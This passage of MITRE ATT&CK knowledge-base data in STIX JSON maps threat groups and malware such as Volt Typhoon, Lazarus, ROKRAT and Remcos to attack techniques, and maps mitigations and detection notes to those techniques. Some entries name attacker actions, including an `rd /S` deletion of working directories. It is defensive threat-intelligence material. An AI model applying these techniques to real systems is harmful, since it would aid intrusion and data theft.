Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4cd9acb-aaea-4b77-890e-f153a58623a4","created":"2019-07-18T15:05:36.677Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"reagentc_cmd","description":"Microsoft, EliotSeattle, et al. (2022, August 18). REAgentC command-line options. Retrieved October 19, 2022.","url":"https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/reagentc-command-line-options?view=windows-11"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-20T18:48:15.794Z","description":"Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery. Additionally, ensure that WinRE is enabled using the following command: reagentc /enable.(Citation: reagentc_cmd)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4ce39f8-371c-45dd-a8d2-a411a6f0678d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Moran 2014","description":"Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group [Blog]. Retrieved November 12, 2014.","url":"https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"}],"modified":"2020-03-17T02:28:36.454Z","description":"[APT12](https://attack.mitre.org/groups/G0005) has used [RIPTIDE](https://attack.mitre.org/software/S0003), a RAT that uses HTTP to communicate.(Citation: Moran 2014)","relationship_type":"uses","source_ref":"malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4d3d8d6-95a9-4d1d-bd51-ad736c0a4b41","created":"2023-08-03T20:52:34.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T19:03:31.680Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has run `rd /S` to delete their working directories and deleted systeminfo.dat from `C:\\Users\\Public\\Documentsfiles`.(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)\n","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4d751fa-60cc-4254-9737-d7df6518eabe","type":"relationship","created":"2021-03-18T14:16:06.125Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Static Kitten February 2021","url":"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies","description":"Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021."}],"modified":"2021-03-18T14:16:06.125Z","description":"[ConnectWise](https://attack.mitre.org/software/S0591) can take screenshots on remote hosts.(Citation: Anomali Static Kitten February 2021)","relationship_type":"uses","source_ref":"tool--842976c7-f9c8-41b2-8371-41dc64fbe261","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4d77981-d2e4-4a12-8e52-5b7464cdc8fd","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-03-17T02:14:55.988Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) can download or upload files from its C2 server.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c4d843c9-5297-4483-886e-7979e6c807b8","created":"2022-08-23T15:50:22.609Z","x_mitre_version":"0.1","external_references":[{"source_name":"Huntress API Hash","url":"https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection","description":"Brennan, M. (2022, February 16). Hackers No Hashing: Randomizing API Hashes to Evade Cobalt Strike Shellcode Detection. Retrieved August 22, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor and analyze calls to functions such as `GetProcAddress()` that are associated with malicious code obfuscation.(Citation: Huntress API Hash)","modified":"2022-08-23T15:50:22.609Z","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4de34ea-99de-4850-817d-f9f2915bc7bd","created":"2021-09-29T15:41:18.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AhnLab Andariel Subgroup of Lazarus June 2018","description":"AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group, a subgroup of the Lazarus. Retrieved September 29, 2021.","url":"https://web.archive.org/web/20230213154832/http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T18:36:06.081Z","description":"[Andariel](https://attack.mitre.org/groups/G0138) has attempted to lure victims into enabling malicious macros within email attachments.(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)","relationship_type":"uses","source_ref":"intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4dfcece-bbcd-419a-9f29-0855ae096c76","type":"relationship","created":"2020-03-28T01:43:52.895Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-09-28T13:09:51.287Z","description":"Network segmentation can be used to isolate infrastructure components that do not require broad network access. This may mitigate, or at least alleviate, the scope of AiTM activity.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4e03a2f-3617-4017-8dab-8904b1060c87","type":"relationship","created":"2019-06-20T16:44:52.810Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Zebrocy May 2019","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."}],"modified":"2019-07-17T01:18:33.126Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) executes the reg query command to obtain information in the Registry.(Citation: ESET Zebrocy May 2019)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c4e3450c-c657-43c3-b825-031b12a33611","created":"2021-02-25T18:40:40.227Z","x_mitre_version":"1.0","external_references":[{"source_name":"Unit 42 IronNetInjector February 2021 ","url":"https://unit42.paloaltonetworks.com/ironnetinjector/","description":"Reichel, D. (2021, February 19). IronNetInjector: Turla’s New Malware Loading Tool. Retrieved February 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[IronNetInjector](https://attack.mitre.org/software/S0581) has the ability to inject a DLL into running processes, including the [IronNetInjector](https://attack.mitre.org/software/S0581) DLL into explorer.exe.(Citation: Unit 42 IronNetInjector February 2021 )","modified":"2022-05-20T17:02:59.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--b1595ddd-a783-482a-90e1-8afc8d48467e","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4e70046-dbed-4e21-8a00-37bbb6de5bc4","created":"2023-02-21T19:38:48.002Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-21T19:38:48.002Z","description":"Use multi-factor authentication on cloud services whenever possible.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--8861073d-d1b8-4941-82ce-dce621d398f0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4e81078-28b4-4a68-a946-458f4d122e39","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2019-04-24T19:41:25.896Z","description":"(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","target_ref":"tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4ea56ee-ac98-40bd-a609-9c694fad391d","created":"2023-03-17T15:05:02.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T16:06:36.946Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used a remote XSL script to download a Base64-encoded DLL custom downloader.(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4ef8c6f-2fbd-48aa-aff3-0830a01b5ebd","created":"2023-09-28T03:37:50.005Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-28T03:37:50.005Z","description":"Ensure only accounts required to configure and manage backups have the privileges to do so. Monitor these accounts for unauthorized backup activity.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4f1371c-8f23-49b7-9572-d226ee2dbade","type":"relationship","created":"2020-05-21T14:55:00.235Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T14:55:00.235Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used a copy function to automatically exfiltrate sensitive data from air-gapped systems using USB storage.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4f4e2ba-5ad8-4787-8d69-cc6720619ac9","created":"2024-07-02T19:19:08.851Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-02T19:19:08.851Z","description":"[LunarMail](https://attack.mitre.org/software/S1142) can capture screenshots from compromised hosts.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4f4fe39-af57-47d3-8428-fe5bce63bdbb","created":"2019-06-17T18:43:35.447Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro TropicTrooper 2015","description":"Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.","url":"https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:24:22.268Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) used netview to scan target systems for shared resources.(Citation: TrendMicro TropicTrooper 2015)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4f662d6-7e47-4161-bf8d-dd445ae901b1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2017/04/introducing-rokrat.html","description":"Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.","source_name":"Talos ROKRAT"},{"url":"https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html","description":"Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.","source_name":"Talos ROKRAT 2"},{"description":"GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.","url":"https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/","source_name":"Securelist ScarCruft May 2019"},{"source_name":"NCCGroup RokRat Nov 2018","url":"https://research.nccgroup.com/2018/11/08/rokrat-analysis/","description":"Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."},{"source_name":"Malwarebytes RokRAT VBA January 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/","description":"Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."}],"modified":"2022-03-22T20:09:04.994Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) can capture screenshots of the infected system using the `gdi32` library.(Citation: Talos ROKRAT)(Citation: Talos ROKRAT 2)(Citation: Securelist ScarCruft May 2019)(Citation: NCCGroup RokRat Nov 2018)(Citation: Malwarebytes RokRAT VBA January 2021)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4f902df-4b79-4bf7-b4b3-5873a316795b","type":"relationship","created":"2021-12-06T16:10:28.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T20:45:13.943Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has accessed email accounts using Outlook Web Access.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4f9c2ad-f740-4b08-9788-c058b98f2094","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"EFF Manul Aug 2016","description":"Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.","url":"https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf"}],"modified":"2021-06-04T16:28:59.608Z","description":"[Bandook](https://attack.mitre.org/software/S0234) has modules that are capable of capturing video from a victim's webcam.(Citation: EFF Manul Aug 2016)","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5067d25-32aa-42cd-8fe2-93a66596268d","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c507e487-2213-46de-87fa-9879b31995b7","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-06T12:33:35.989Z","description":"Monitor executed commands and arguments that may indicate common cryptomining or proxyware functionality.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5087d19-7d99-4106-9dc7-407c7de710be","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Pasam May 2012","description":"Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"}],"modified":"2020-02-11T19:38:06.257Z","description":"[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve information such as hostname and free disk space.(Citation: Symantec Pasam May 2012)","relationship_type":"uses","source_ref":"malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c50c585a-b5c4-41c7-91a2-b6bb14b7e1f0","type":"relationship","created":"2019-01-30T16:39:54.305Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2019-06-10T18:25:51.585Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) can collect the hostname, Microsoft Windows version, and processor architecture from a victim machine.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c50f75fe-e7a9-4190-9ca8-a28187955669","type":"relationship","created":"2020-03-17T00:38:52.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"},{"source_name":"PTSecurity Cobalt Dec 2016","description":"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"},{"source_name":"Group IB Cobalt Aug 2017","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","url":"https://www.group-ib.com/blog/cobalt"}],"modified":"2020-03-17T00:38:52.139Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has used the Plink utility to create SSH tunnels.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c50fd202-d4af-4157-b368-b4525af075c1","type":"relationship","created":"2019-01-29T18:55:20.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Remcos Feb 2017","url":"https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html","description":"Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018."},{"source_name":"Talos Remcos Aug 2018","url":"https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html","description":"Brumaghin, E., Unterbrink, H. (2018, August 22). Picking Apart Remcos Botnet-In-A-Box. Retrieved November 6, 2018."}],"modified":"2020-03-16T17:38:09.364Z","description":"[Remcos](https://attack.mitre.org/software/S0332) has a command for keylogging.(Citation: Fortinet Remcos Feb 2017)(Citation: Talos Remcos Aug 